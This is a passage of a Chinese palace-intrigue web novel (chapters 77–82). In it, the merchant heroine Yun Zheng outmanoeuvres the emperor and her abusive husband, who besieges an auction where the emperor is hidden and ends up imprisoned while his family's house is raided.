“不要,强扭的瓜不甜,我心高气傲,不屑跟人争夫,江闻舟那种货色也不配。” 皇上觉得她太桀骜不驯,要是人人学她,那就乱了套。 “不管如何,他是你的夫君,你要敬着……” 他不是护着江闻舟,而是维护三纲五常的权威,也是维护皇权统治的等级制度。 君为臣纲、父为子纲、夫为妻纲。 云筝不耐烦的打断道,“皇上,我这个人呢,特小气,特记仇。谁敢动我一根手指头,我就砍断他的手。” “平西侯府骗婚,江闻舟百倍折辱我,还想弄死我,让位于叶氏,我跟他注定不会和平共处。” 皇上对平西侯府的印象更差了,“女子还是要温顺些。” 云筝冷笑一声,既想让她帮着挣钱,又想让她温顺贤良,做什么美梦呢。 “皇上,换了您,您会心甘情愿的当平西侯府和江闻舟的垫脚石吗?等被利用殆尽,再一脚踢开?” 她拼命上眼药,彻底断了江闻舟翻身的机会。 皇上比她还小气,代入进去立马沉下脸,“他敢,剁了他。” 厉无恙嘴角轻轻扬起,两人已经暗中过了好几招,这谈判的节奏渐渐被云筝掌控了。 云筝抿了抿嘴,揉了揉眉心,轻轻叹气,“我没有什么想要的,我累了,要休息个几年。” 皇上见她撂担子,有些头疼,她忠心可嘉,但实在太任性了。 “你不是想要皇商的名额吗?朕给你一个。” 他让步了,但云筝已经瞧不上皇商了,撇了撇小嘴,“皇商有什么用?还不是被人指着鼻子骂一身铜臭味。” 皇上有些恼了,“别不识好歹。” 云筝倔头倔脑的,嘟着嘴生闷气。 皇上既好气又无奈,她耿直又任性,却是难得一见的经商奇才,特别能挣钱,最重要的是忠心,就冲着这几点,也不会治她的罪。 局面僵住了,没人敢吭声。 江城郡主暗暗替云筝担心,君王喜怒无常啊。 户部尚书暗夸云筝有手段,拿捏人性的手段一套套的。 三皇子的眼神复杂到了极点,父皇对云筝太过包容,换了别人敢顶撞君王,早就拖下去砍了。 厉无恙清咳一声,打破沉寂,给出了绝妙的解决方案…… 第77章 父皇,她偷您的字 厉无恙淡淡的道,“皇兄,给她父亲在内务府安排一个职位吧。” 皇上心里一动,以云筝不肯吃亏的性子,就算强行让她去内务府,也不会出力。 说不定,还会将内务府搅的天翻地覆,平西侯府就是前例。 但,如果她父亲当了官,有事当女儿的还能不帮忙?不可能! 这主意好! “哪个职位合适?” 厉无恙略一沉吟,说道,“织造司员外郎。” 织造司是负责操办宫廷和官用的绸缎、绢帛、布匹等纺织品,龙袍凤衣和百官官服都包括在内。注(1) 而且,内务府和外官是两个体系, 互不干扰,外官也不敢轻易得罪内务府。 别看官职小,却是皇上的心腹亲信才能胜任,一般人都不敢惹。 云筝扬了扬眉,“这是管皇商的吗?几品官?” “对,从五品。” 云筝认真想了想,“行,这个可以,就要这个。” 皇上气笑了,“你当白萝卜啊,挑一个。” 云筝一脸的满不在乎,“行就行,不行就拉倒,从五品的小官而已。” 皇上没好气的问道,“你知道十年寒窗苦读考中状元后,授几品官?” 这道题云筝会,“翰林院修撰,从六品。” 她傲娇的扬了扬脑袋,得意洋洋的说道,“那又怎么样?状元三年出一个,大齐首富就一个呀,物以稀为贵。” 三皇子看不惯她的德性,“歪理。” 云筝狠狠瞪了他一眼,“就问你,我的话有没有道理?” 厉无恙深深的看了她一眼,她在不动声色的试探皇上的底线,一次又一次,胆真大。 皇上何尝不知道,但,对于忠心又能挣钱,对皇权没有威胁的人,他有几分包容心。 罢了,这都是小事,就各退一步吧。 “传旨下去,封云……”忽然卡壳了,云筝的父亲叫什么来着。 云筝清脆的声音响起,“家父,名讳展鹏。” 皇上颁下旨意,“封云展鹏为织造司员外郎,即日上任,钦此。” 云筝笑嘻嘻的行礼,“我替我父亲谢恩。” 这只是她计划中的第一步,成功撕开一个口子。 慢慢来,她有的是耐心。 三皇子脑海闪过一道灵光,“父皇,本朝规定,当官之人不能做生意,锦云乡主之父成了朝廷官员,那云家商号就要关了,实在可惜。” 皇上神色一沉,“你有什么想法?” 三皇子的心思飞转,“我建议找一个人接手云家商号,比如,我的伴读……” 他的野心不言而喻,就是想吞下云家商号。 众所周知,云家将大部分的财产当成嫁妆给了云筝,还有一部分留在手里。 光是这一部分就能让一个家族吃喝几年。 他的吃相太难看了,云筝淡淡的道,“我云家的生意就不劳三皇子操心了,有我在,云家商号倒不了。” 三皇子承认她的脑子好使,有点本事,但,她一个女子又不能抛头露面打理生意。 “你是女子,没有经商的经验,光是纸上谈兵没啥用。” 云筝把玩着茶杯,淡淡的笑问,“你可知道,我云家是何时从江南首富一跃而起,成了全国首富?” 三皇子毫不犹豫的说道,“三年前。” 云筝阴阳怪气的吐槽,“你对我云家很了解嘛。” 三皇子有些茫然,“提这个干吗?” 云筝轻描淡写的说了一句,“我只花了三年,就将云家推到了巅峰。” “三年……”三皇子喃喃自语,忽然反应过来,震惊的瞪大眼睛。 “你是说,你才是云家真正的操盘人?这怎么可能?你今年才十六岁,你……” 云筝淡笑不语,三皇子猛的转头看向父皇,皇上神色平静,好像早就知道了。 他又看向厉无恙,也是同样的平静,他不敢置信的求证,“九皇叔,这是真的吗?” 厉无恙是明镜司的首领,彻查过云家的底细,这些事情瞒得过世人,却瞒不过明镜司。 “她接手前,云家是江南首富,她接手后,云家的财富翻了几倍,成了大齐首富。” 倒抽冷气声猛的响起,江城郡主两眼放光,兴奋的满面通红。 “江二公子有眼不识金镶玉,误把珍珠当鱼目,以后有的他后悔。” 户部尚书心情说不出的复杂,早知这样,他一定豁出脸面为自家儿孙求娶。 “他是个没福气的。” 皇上淡淡的道,“平西侯府聪明反被聪明误。” 云筝扬了扬小脸,傲娇极了,“我才是云家商号的灵魂人物,没有我,云家商号就是没用的摆设,抢去也没用。” 三皇子:……所以,要抢她吗? 云筝转过头,笑眯眯的提了个要求,“皇上,您给我家写个云府的牌匾呗,就用台阁体,不要草书。” 她这是要扯着皇上这张虎皮做大旗。 皇上震惊了,她怎么这么厚脸皮?“别得寸进尺。” “不行?”云筝也不强求,扭头看向厉无恙,“那,王爷,您帮我写一个呗。” 不等厉无恙开口,皇上就抢先了,“他的字不好看。” 她倒是多求几次啊,说不定他就答应了。 众人:…… 云筝笑容灿烂极了,“那不重要,重要的是,九千岁的名号能镇住牛鬼神蛇。” 三皇子酸溜溜的呛了一句,“呵呵,你够坦诚的。” 云筝只当他是夸她,“人生短短几十年,一定要痛痛快快的活,别委屈了自己。” “来人,取文房四宝。” 下人送上文房四宝,云筝亲自送到厉无恙面前,眨巴着无辜的大眼睛,双手合十,“王爷,九千岁,给我写一个,求你了。” 她像个刁蛮的小土匪,霸道又可可爱爱。 厉无恙嘴角轻轻扬起,拿起毛笔蘸墨,在宣纸上挥洒自如。 云府,两个大字遒劲如铁画银钩,好看极了! 皇上淡淡瞥了一眼,“皇弟,你的字还是没什么长进啊。” 厉无恙立马将毛笔递过去,“皇兄,要不,您来展示一下?” 皇上顺势接过来,刷刷的写下两个大字,云府。 写完后,皇上将字递给厉无恙,厉无恙木木的夸了一句,“写的真好,比我好。” 他不走心的夸完,随手将字递给了云筝。 云筝笑眯眯的看了一眼,小心翼翼的收起来。 三皇子瞧见了,像抓住了把柄般叫起来,“父皇,她偷您的字。” 户部尚书和江城郡主不约而同的叹了口气,大家都看到了,皇上能看不到? 看破不说破啊,皇上不要面子的吗? 皇上冷冷喝道,“闭嘴,蠢货。” 三皇子:……为什么受伤的又是他? 就在此时,外面传来一阵喧哗声,皇上眉头紧皱,“怎么回事?” “禀皇上,江二公子带着一百家将前来闹事,说……锦云乡主不守妇道,抛头露面,要将她抓回去,动用家法。” 一百家将?江闻舟这是破罐子破摔?不死不休吗? 哇哦,太刺激了! 第78章 围攻,快护驾 千珍阁,被一群手持木棍的男人团团围住,负责安保的明镜司拼命拦住他们。 江闻舟站在门外大声叫嚣,“云筝,你给我滚出来。” “你不守妇道,抛头露面,让我平西侯府羞辱,身为你的夫君,我不再姑息。” 一声又一声,刻薄又尖酸,全然是豁出去了。 谷雨大人走了出来,神色肃穆,冷冷的警告道,“江二公子,里面在举行拍卖会,你这般惊扰会场,可不大好。” 最关键的是,皇上在啊,一动手就会被视为谋逆。 江闻舟落到这种地步,名声全毁,世子位旁落,没有了顾忌。 他只有一个念头,就是在云筝飞黄腾达之前毁了她。 所以,特意选择了今日,当着所有商贾的面,斩断云筝所有的后路。 她想借着拍卖会,得到皇上的青睐,做梦! ‘“我才不管这些,我只知道我的妻子不安于室,整天跟无数个男人厮混,我要将她带回去,家法处置。” “谷雨大人,请让开。” 谷雨看着疯狂的男人,眼中闪过一丝莫名的冷芒,“江二公子,我劝你一句,速速退开,锦云乡主在办大事,你不能惊扰她。” 他越是这么说,江闻舟心中的仇恨就越强烈,云筝毁了平西侯府,毁了他,她休想有好日子过。 “来人,跟我一起冲进去。” 他一声令下,家将们不管不顾的往里冲,“冲啊。” 这些都是养在郊外农庄的家将,他们的祖先曾经跟随第一代平西侯南征北战,立过功劳,子子孙孙都是平西侯府的家将。 到了这一代,还秉承祖训,保持锻炼,但早就不复往日威风。 养士是很烧钱的,侯府的日子越来越拮据,他们的待遇就越差。 侯府的下人能跑,但他们这些家将怎么跑?他们世代都是靠侯府庇护供养,刻上了侯府的烙印。 他们的命运跟侯府休戚相关。 脱离了侯府,是没办法活下去的。 他们什么都不会,别家也不可能收留侯府的家将。 直到几天前,他们彻底断了供养,没钱了! 这一切全是因为那个该死的锦云乡主。 身为平西侯府的儿媳妇,却没有将嫁妆拿出来养夫家,还上交了! 不可原谅! 明镜司的人严阵以待,见他们冲进来,立马举起武器抵抗,两方战成一团。 江家的家将还是有点实力的,打的难分难解。 室内,众多富商吓白了脸,缩在角落里躲着,刀剑无眼啊。 “天啊,居然打起来了,好可怕,勋贵们平时就是这样闹腾的?” 一言不合就抄家伙干架,好凶残。 有人说道,“也不能怪江二公子,谁家媳妇抛头露面,不安本份,哪个男人受得了?” 云筝太强了,压的他们喘不过气来。 “我也觉得锦云乡主做的不对,行事太过高调,没妇德,没教养,让夫家的脸面往哪里搁。” 也有消息灵通的富商闭口不谈,免得惹祸上身。 锦云乡主背靠九千岁,性格张扬,可不是吃素的。 “不会打进来吧?赶紧让锦云乡主出去解决问题。” 有人吼了一声,“锦云乡主,你快出来,你夫君喊你回家。” 话音刚落,云筝带着侍卫们慢悠悠的从包厢走出来,神色淡然,像个无事人般。 这一份处事不惊的气度,让人叹为观止。 云筝走下楼梯,一步步走向大门口,看着这一团混乱,嘴角轻轻扬起。 她还在想怎么收拾江闻舟,没想到,他居然主动送上门找死。 “这么热闹呀。” 江闻舟听到声音,猛的回头,“云筝,你总算出来了,跟我回去。” 他想冲过来捉拿云筝,但,中问隔着明镜司的人,还有紫烟等一众侍卫,他没法冲突阻拦。 云筝冷眼旁观,好家伙,出动这么多家将,怎么敢的? “江闻舟,你发什么疯?在京城械斗是要被抓起来的。” 更何况,他们冲击的是朝廷组织的拍卖会,罪加一等。 “这不是械斗,是执行家法,若不想造成无辜之人的伤亡,就赶紧跟我回家。” 江闻舟撇的干干净净,也算是想明白了,软的不行,就来硬的。 她是他娶进家门的女人,一生荣辱和生死都系在他身上。 他想让她生就生,想让她死就死,别人管不着。 他唯一顾忌的就是九千岁,所以,趁九千岁不在时,快刀斩乱麻。 等造成既定事实,一切尘埃落定,九千岁也无可奈何。 云筝将他的心思看透了,不禁气笑了,“我要是不回去呢?” 就是不知道,他怎么忽然发疯? 江闻舟冷笑一声,“我已经派人去捉拿你父母,到时,出了什么意外,就不要怪我。” 云筝脸色大变,惊怒交加,“江闻舟,你敢!” 江闻舟得到了诡异的满足感,“这是你逼我的,云筝。” 云筝愤怒的问道,“你想要什么?” 江闻舟得意的笑了,原来,她也有害怕的时候。 他拿出一张财产转让契书,附上长长的清单。 “千珍阁,宝翠斋,京城的二十家店铺,十家田庄和两幢陪嫁大宅院,还有江南的六万顷良田,签了这契书,我就放了你父母。” 这些都是云家的产业,值个几百万两银子。 有了这一笔钱,平西侯府就能起死回生,他又能成为风流倜傥的贵公子。 云筝闭了闭眼,掩去复杂的情绪,再睁眼时,清冷的可怕,“我若是不签呢。” 江闻舟的眼神充满了志在必得,不签也得签! “那就等着替你父母收尸吧。” 他大手一挥,得意志满,“云筝,你要想你父母活着,就乖乖走出来,任由我处置。” 云筝站着不动,眼神古怪极了,忽然,她扬声大叫,“平西侯府刺杀皇上,救驾,快救驾。” 所有人的寒毛都竖了起来,什么?皇上在这里? 妈呀,如果是真的,那就是围攻圣驾,刺杀皇帝!诛九族的大罪! 江闻舟打了个冷战,随后勃然大怒,“云筝,你发什么疯?别以为胡乱嚷嚷,就能脱身。” 云筝转过身体,看着包厢,大喊一声,“皇上,江二公子带数百家将围攻您,这是要造反啊。” 江闻舟气笑了,说的跟真的一样,皇上怎么可能出宫?又怎么可能在这里? “呵呵,云筝,你喊破喉咙也没用,今日,谁都救不了你。” 云筝听而不闻,喊的更响亮,“皇上,您再不出来,他就要诛杀整个皇族了。” 江闻舟脸都绿了,“闭嘴,皇上是你喊一声,就能喊出来的吗?开什么玩笑?” 话音刚落,包厢的窗子打开,几道身影出现在窗边。 一道怒喝声响起,“谁这么大的胆子,敢刺杀朕?” 江闻舟猛的抬头望去,熟悉的身影映入眼帘,他如遭晴天霹雳,浑身剧颤,脸色瞬间变的如死人般惨白。 “皇……皇上……” 第79章 皇上,若不能和离,请允许我丧偶 江闻舟双腿一软,跪倒在地,浑身颤栗。 天塌了! 江家的家将呆呆的仰头看着皇上,慌乱,不安,紧张,惊恐。 明镜司众人齐刷刷的跪下来,三呼万岁。 富商们立马跟着下跪,都惊呆了,妈呀,皇上居然亲临拍卖会现场,暗中全程围观。 他们没有说不该说的话吧,表现还得体吗? 大太监手指着那些直挺挺站着的家将,怒喝道,“皇上在此,还不快跪下?” 家将们慌成一团,全都跪下,拼命磕头,心中别提有懊悔了。 怎么会这样?围攻君王,那是诛九族的大罪,谁来救救他们? 云筝手指着江闻舟,大声控诉,”是平西侯府江二,江闻舟率众围攻圣驾,意图刺杀圣上,狼子野心,其心可诛。” 她不遗余力的落井下石,还手指着那些跪倒一地的家将,“这些都是人证。” 皇上脸色铁青,光天化日之下江闻舟带这么多训练有素的家将,围攻他所在的千珍阁。 好啊,这跟谋反有什么区别? “江闻舟,你好大的胆子。” 江闻舟眼前一阵阵发黑,天旋地转,但,不敢晕过去,一旦晕过去,这罪名就落实了。 他咬破舌头,满嘴的鲜血,靠着痛意强撑着,“皇上 ,臣不知道您在千珍阁,若是知道,打死我也不敢过来,我本意是教训水性杨花的妻室,云筝她……” 他打听到九千岁有事不能前来压阵,所以特意挑了这个时机过来。 但,谁来告诉他,为什么皇上会在这里?为什么? 千算万算,都没有算到皇上在! 完了,全完了! 皇上的脸色黑沉沉的,江二怎么想的,不重要。 重要的是,所有人都看到江二带着家将围攻他所在的千珍阁,若不能杀鸡儆猴,后患无穷。 他要警醒世人,胆敢冒犯圣驾者,都没有好下场。 “来人,统统拿下,反抗者,杀无赦。” “江闻舟,打入天牢。” 刚才嚣张喊打喊杀的江家家将束手就擒,没有一个人敢反抗。 江闻舟拼命磕头,额头都磕肿了,血水渗了出来,“皇上,臣是一时糊涂,请您看在我祖先的份上,饶了我这一次吧。” 他像条死狗般跑在地上苦苦哀求,再无刚才的嚣张气焰。 皇上冷冷的看了他一眼,随后,看向一边的云筝,“锦云,你说,要不要饶了他?” 江闻舟如溺水者看到最后一根浮木,立马冲她磕头,一边磕一边求饶,“云筝,我错了,我是受人挑唆才犯糊涂,以后不敢了。” 云筝冷冷的问道,“是谁挑唆?” 江闻舟张了张嘴,脑海里闪过几个人影,难道是他们误导他?不可能。 他迟疑了,“这……” 云筝懒的听了,进了天牢就由不得他,严刑拷打之下,铁人都得招供。 她恶狠狠的怒斥,“我父母若有个三长两短,我要你全家死无葬身之地。” 江闻舟气怒攻心,她怎么敢说这话?别忘了,他们是一家子。 他若有事,她也逃不了干系,他们是一根绳子上的蚂蚱。 云筝拱了拱手,急急的求道,“皇上,请您救救我父母。” 这都是小事,皇上挥了挥手,“谷雨,你带一队人马,前往云府救人。” “是。”谷雨立马带人离开。 云筝眉头紧皱,忧心忡忡,脸色苍白如纸。 皇上见状,轻轻叹了一口气,刚才他都看到了,江闻舟是真狠,对云筝没有半点夫妻之情,只有浓烈的杀意。 也难怪,云筝死活要和离。 “别怕,江闻舟是拿你们父母当人质,不会下狠手。” 江闻舟拼命点头,内心是绝望的,“云筝,他们不会有事的,顶多受点惊吓……啊啊啊。” 刀起刀落,一道血光闪过,江闻舟的右脸多了一道深深的伤口,皮肉被割裂,露出里面的骨头,血珠如断线的珠子喷涌而出,触目惊心。 云筝拎着沾满腥红血迹的匕首,神色冷戾的可怕。 “家人是我的逆鳞,谁动,这就是下场。” 这是震慑!也是绝决的宣告,她和江闻舟誓不两立! 现场静的出奇,所有人呆呆的看着这一幕。 商贾们呆若木鸡,妈呀,别看锦云乡主长的弱不禁风,其实是个杀人不眨眼的狠人。 太狠了!一出手就将自己夫君的脸毁了,伤口这么深,没得治了。 一个风度翩翩的贵公子,成了丑八怪。 她出手太快,谁都来不及阻止。 皇上的眼神复杂到了极点,知道她脾气不好,但没想到性烈如火,睚眦必报。 江闻舟捂着流血的脸,痛不欲生,“我是你的夫君。你这是以下犯上,妻杀夫,是死罪。” 云筝丝毫不惧,公开撕逼,“你一个卑鄙无耻又无能的废物,也配当我的夫君?” 她仰着雪白的小脸,神色肃穆,“皇上,若不能和离,请允许我丧偶。” 全场:…… 江闻舟:…… 一语石破天惊,大家目瞪口呆,怀疑自己的耳朵出了问题。 皇上脸色一沉,“锦云,不许胡闹。” 云筝扑通一声,跪倒在地,小脸倔强而又脆弱。 “我和他之间只能活一个,您选吧。” 她这是抱着必死的决心,不成功便成仁。 皇上感受到了这一份决心,不禁头痛欲裂,这臭脾气,像茅坑里的石头,又臭又硬。 但,云筝有大用,绝对不能死。 至于,江闻舟……他是江家人,不能死在皇室中人手里。 和离?不行,坏了规矩,他也不能打自己的脸。 丧偶?不能开这个头,否则后患无穷。 死一般的沉寂,鸦雀无声,静的可怕。 不知过了多久,权衡半天的皇上终于发话,做出了决定…… 第80章 帝王的选择和袒护 “锦云乡主禀性贞淑,聪慧敏达,虽处闺闱,心系家国,有功于社稷,实堪嘉许,特封为锦云郡主,赐郡主府一座,钦此。”注(1) 皇上的声音响彻全场,所有人都愣住了。 在两人之间,他选择了安抚云筝,给了她最大的体面。 允许开府另居,这是三公三司和皇子们公主的特权,如今却为云筝破例,将她从三品乡主提为二品郡主,袒护之意昭然若揭。 商贾们很震惊,她出手伤了自己夫君,皇上不但不怪罪,还将她封为郡主,这是多大的功劳换来的? 还赐她一座郡主府,让她单独居住,这跟和离有什么区别? 不管怎么说,这位新出炉的郡主圣眷正隆,深得圣上的看重。 是他们这种商人得罪不起的。 云筝却不是很满意,她要的是和离,或者是丧偶啊。 但,她知道,这是皇上的底线了,他不会推翻自己说过的话。 看着血肉模糊的江闻舟,她眼中闪过一丝冷意,此次他犯的错太大了,平西侯府兜不住。 “皇上,若江家满门抄斩,不能株连我,我可不想为这种丧门星陪葬。” 众人:……好吧,还是你最机灵。 皇上默了默,怪不得态度这么坚决,“准。” 云筝这才低头谢恩,“谢皇上开恩,臣女一定好好干,报答皇恩。” “皇上,这不合规矩……”江闻舟不禁急了,他疯狂想拉云筝下水,云筝想要好好活着,就必须想办法将他捞出来。 可惜,皇上不给他这个机会。 “令明镜司查抄平西侯府,将江家一干人等打入天牢,三司会审。” 三司会审一出,气氛一下子变的肃杀。 只有性质特别恶劣的案子才会启动三司会审,而且,结果都很惨烈,无一例外。 “是。” 江闻舟脸色惨白如纸,拼命挣扎,“皇上,开国皇帝答应过先祖,不会削了平西侯的爵位,皇室的手上也不会沾江家人的血。” 这是双方的约定! 皇上冷冷看了他一眼,人算不如天算,平西侯府的气运到头了。 身边的大太监阴阳怪气的开口,“抄家而已,又不是削爵。” “只要留一口气,没死就不算违誓。” 江闻舟眼前一黑,晕了过去。 一场轰轰烈烈的闹剧就此结束。 皇上被扫了兴致,没有多待,跟在场的富商们说了几句勉励的话,就匆匆离开。 他只留下一句话,“一切都由锦云郡主做主。” 三皇子和江城郡主也跟着离开了,临走前,三皇子眼神复杂的看着云筝。 “你好狠的心。” 云筝挥刀砍向江闻舟的一幕,震住了他。 云筝翻了个白眼,说的好像她是负心人。 “赶紧走吧,好好想想怎么哄你爹。” “哼。” 江城郡主拉着她的手,温柔的安慰,“阿筝,别担心,你父母不会有事的。” “谢谢。” 下半场拍卖会,云筝有些心不在焉,让手下掌柜去主持,户部尚书镇场子。 不算拍卖,是卖货,将云家商号里的货都摆出来卖。 富商们都有意讨好云筝,下了很多订单,云家挣的盆满钵满。 场上热闹非凡,包厢内,云筝眉头紧皱,趴在窗边,不停的看向街头。 身后传来清冷的声音,“我已经飞鸽传书,让最近的城防军赶去救援。” 是厉无恙,他没有走,留了下来。 云筝回过头,面露感激之色,“王爷,谢谢您。” 东贵西富,南贫北寒,云家住在西城富人区,千珍阁位于城中心的闹市,飞马过去要半个时辰。 可她不知道江闻舟是何时动手的,训练有素的家将杀伤力极大啊,忍不住忧心忡忡。 不过,她留了一手底牌,就是鬼医。 厉无恙能理解她此时的心情,“宫中带出来的茶点还没有动,吃吗?” “吃。”云筝走过来,坐在厉无恙面前,看着琳琅满目的点心,她愣了一下,“怎么这么多?” “皇上从不吃外面的东西。” 云筝明白了,这些都是宫中事先准备的。 她挑了一块杏仁酥咬下去,满嘴喷香,甜食有安抚人心的作用,她感觉好受点了。 厉无恙忽然开口问道,“你怎么知道皇上就在隔壁?” 她在包厢大表忠心,哄的皇上龙心大悦,从而顺利得到了她想要的东西。 他当时听到云筝那几句话,就反应过来了,真机灵啊。 云筝微微一笑,她哪有什么忠心?前世受尽折磨时,没人帮过她呀,以皇上对各家的关注度,不可能不知道此事,但依旧选择了无视。 只因,她没有什么价值! 她不怨也不怪,但,忠心是没有了。 不过,人生在世,全靠演戏,皇上喜欢忠心耿耿的纯臣,那就演给他看呗。 那么好的机会她抓住了,有三皇子做对比,更衬的她忠心可嘉。 嗯,三皇子就是主动送上门的垫脚石。 “谷雨大人没有透露一个字,不过,今日的防守人员里三层外三层,比上次多了一倍,气氛凝重肃穆,跟上次的轻松截然不同,上次您也在。” 她其实一进门就意识到不对劲,所以,特意跑去跟谷雨大人套话。 谷雨大人倒是滴水不漏,但,目光时不时的往一个方向瞟,关切之情溢于言表。 厉无恙嘴角轻扬,“以后别太倔,那位不是好脾气的主。” 云筝冷哼一声,傲娇的很,“脾气再不好,对着银子也得低头,只要我不通敌叛国,他会一直包容下去的。” 厉无恙眼中闪过一丝笑意,皇上的底线算是被她试探出来了。 因为穷啊,皇上的寝陵因没钱而搁置至今,这是他最大的心病。 “就不怕玩过头吗?” 云筝拿起茶杯喝了一口,“我是女子,是劣势,也是优势。” “皇上轻视天下女子,他不会为一个女子挑战祖制和礼法,但,也不会防范一个女子, 这就给了我机会。” 她从未指望一蹴而成,一步步来吧,不着急。 厉无恙看着聪慧而又坚韧的年轻女子,眼中闪过一丝激赏。 “其实,你已经撕开了一个口子,皇上终究是破了例。” 封她为郡主,钦点云父当官,还是从五品官员,可谓一步登天。 云家从一介商贾跃升成官宦人家,这是无数人终其一生都无法完成的梦想。 云筝沉默不语,忽然想起一事,眼珠咕噜噜的转,试探的开口,“江闻舟今日忽然发疯,得到的还是假情报,好奇怪啊。” 厉无恙深深的看了她一眼,四目相对,气氛微妙。 就在此时,敲门声响起,“主子,云家有消息了。” 云筝猛的回头,神色紧张而又不安。 第81章 爹,您当官了,高兴不? “进。” 一名黑衣人快步走进来,“主子,赶过去的兄弟及时救下了云家人,他们正在赶来的路上。” 云筝猛的起身,又惊又喜,“他们没受伤吧?” “没有,只是受到了惊吓,那些人攻进了大门,但在正院门口被挡了下来。” 云筝一颗心落到了实地,长长吐出一口气。 半个时辰后,云家夫妻就被送到千珍阁。 一家人相见,有种劫后余生的庆幸,云母紧紧抱着女儿不放,眼眶泛红。 云筝抱着母亲轻颤的身体,心中恨极,江闻舟,我跟你不死不休。 “爹,娘,你们没事吧?” 云父比妻子稳得住,今日虽然凶险万分,但救兵来的及时。 “没事,都没事。” 一道得瑟的声音响起,“有我在,你怕什么?” 是鬼医,手里牵着一个粉雕玉琢的孩子。 安康仰着小脸,满眼的慕孺,“姐姐,我爷爷可厉害了,用软筋散把那些坏人放倒了,没让他们进院子。” 云家夫妻对他很好很好,但,他最喜欢的人还是云筝。 云父满眼的感激,“这次幸亏有安大夫护着我们,才撑到官府来人。” 云筝放开母亲,郑重其事的行了一礼,“多谢。” 鬼医摆了摆手,“都是自家亲戚,谢什么谢。” 这些日子是他们祖孙过的最舒心的,吃香的喝辣的,锦衣玉食,有人侍候,有人照顾,什么都不用操心。 如今孙子是云筝的远房表弟,用的是云家的资源,未来二十年都得靠云家扶助,他得豁出老命护住云家。 云筝摸摸安康的小脑袋,这孩子白白嫩嫩的,气色极好。 “家里损失大吗?” 云父微微点头,“房子花草都有所损毁,但,命保住了。” 云筝目露凶光,“都记录下来,这一笔账得讨回来。” 云父迟疑了一下,“还是算了吧。” 民不跟官斗,斗不过啊。 云筝知道他的观念还没有转换过来,还把自家当成商贾。 她拿起一幅字递过去,“您看,这是什么?” 是两个大字,云府。 云父奇怪极了,好端端的怎么给他看这个?这字很普通啊,“谁写的?” 云筝扬了扬下巴,得意洋洋的显摆,“这是皇上御笔,文武百官都认得他的字,以后没人敢冒犯。” 她特意要的是写奏折通用字体,台阁体。 云父倒抽一口冷气,小心翼翼的捧着,这可是保命符!做成牌匾挂起来,看谁还敢硬闯云府? “皇上隆恩,云家上下感激涕零。” 说这话时,小心翼翼的看了厉无恙一眼,还走过去行了一个大礼。 云筝看在眼里,默了默,父亲其实很有本事,但谨慎已经刻在他的骨子里,做生意也偏保守。 “九千岁,我的郡主府能建在您隔壁吗?” 厉无恙把玩着玉扳指,“不行,一条街只有一座睿王府,没有别的宅院,也没有空地。” 那得多大啊,云筝羡慕极了。 “不过,两条街外有一座前朝公主府,一直空着,没有赏下去,你可以去跟户部尚书要来。” 这些事情都是归户部管。 云筝眼睛一亮,“规格超了吧。” “没事,改一改就行。” 云家夫妻听的一头雾水,“什么郡主府?” 云筝笑的很开心,“皇上封我为锦云郡主了,允我开府另居。” 云父惊喜万分,云母更是喜极而泣,“谢天谢地,总算不用跟那一窝牛鬼蛇蛇住在一起,不用担心被暗算。” 经此一事,云家夫妻是彻底恨上了江闻舟。 云筝撇了撇小嘴,人家都要坐大牢了呢。 “对了,父亲,皇上封您为织造司员外郎,等下了圣旨,您就要去上任,提前做好准备吧。“ 好消息一个接着一个,云展鹏简直不敢相信自己的耳朵,“真的吗?” 得到确认,他手足无措,慌乱而又不安,“我没有当官的经验,不知道怎么做。” 云筝很淡定,“没事,慢慢学呗,要是有人敢给您穿小鞋,您别怕,您有我这个郡主女儿呢。” 她指了指神色淡漠的厉无恙,“而我,有九千岁,我们都是有靠山的人。” 这得瑟劲,也是没谁了。 “扑哧。”安康笑的不行,大家都笑了。 一片欢笑声,厉无恙不动声色的瞥了云筝一眼,嗯,还是笑好看。 这边其乐融融,另一边就遭殃了。 平西侯府,客院,叶宜蓁病恹恹的坐在窗边,像个娇弱无力的病西施。 丫环托着托盘走过来,柔声劝道,“主子,您吃点东西吧。” 叶宜蓁看了一眼托盘,一碗白米粥,两碟小菜,“整天吃这些,我都吃腻了。” 自从下人们逃了大半,处处不便,这院子没人扫,这花草没人打理,这饭菜没有煮,房间没人打理。 她身边只有两个忠心耿耿的丫环,精细活还行,但不会干粗活啊。 这白米粥还是丫环用小红炉煨的,小菜是在厨房翻到的。 这抠抠搜搜的日子实在难熬。 丫环陪笑道,“等二公子拿下那个贱人,逼她签下转让契书,云家的家产就归了二公子,以后您喝一碗血燕窝,扔一碗都行。” 另一个丫环满眼的兴奋,“我们早该这么做了。” “主子心善,不屑跟她争宠,她却不依不饶的非跟您抢二公子,二公子哪里看得上她那种货色?” “她实在可恶,仗着有几个臭钱就上蹦下跳,等夺走她的财产,看她还怎么嚣张。” 叶宜蓁矜持的笑了笑,“只是小惩大戒,希望她从此安分守己,对我伏低做小。 ” 她一副居高临下的说教语气,心里别提有多高兴了。 云筝,给她等着! 丫环们的心思全飞到外面去了,“小姐,千珍阁里有很多价值连城的宝贝,改日我们去挑一些回来。” 京城最时兴的玩意,都能在千珍阁找到,据说,日进斗金,可挣钱了。 另一个丫环激动的叫起来,“宝翠阁有最时尚的珠宝首饰,我们多挑几套,珍珠,红宝石,绿宝石,翡翠都来一套,要最好的,把我家小姐打扮成天仙,把天下男人都迷倒。” 叶宜蓁也早就将这些店铺当成自己的,“那明日,我们先去宝翠阁拿首饰,再去千珍阁挑宝贝……” 是拿,是挑,不是买。 就在此时,外面传来一声巨响,“轰隆隆。” 叶宜蓁吓了一跳,“怎么回事?” “明镜司的人来了。” 一群明镜司的人气势汹汹闯了进来。 叶宜蓁一颗心往下沉,慌乱不已,这群煞星怎么又来了? 她有种不好的预感…… 第82章 查抄平西侯府 叶宜蓁心里慌的要命,面上强装镇定。 “立春大人,你们怎么又来了……” 立春上次来侯府,是来接收云筝的嫁妆,当时从叶宜蓁手里硬生生的抢走了珍珠凤冠,让她心疼坏了。 立春神色严肃,“奉皇上之命,查抄平西侯府,所有人不许动,若有违令者,杀无赦。” 叶宜蓁如五雷轰顶,肝胆欲裂,浑身发抖。 “是不是搞错了?好端端的怎么查抄我们平西侯府?不知我们到底犯了什么大罪?” 立春眼中有讥笑,她怎么可能不知道?装什么装?“江闻舟带几百家将围攻圣驾,刺杀皇上,罪不可赦……” 叶宜蓁简直不敢相信自己的耳朵,急急的尖叫,“不不不,不可能,我夫君是去千珍阁捉拿不守妇道的云筝。” 怎么就成刺杀皇上了?哪里出了错? 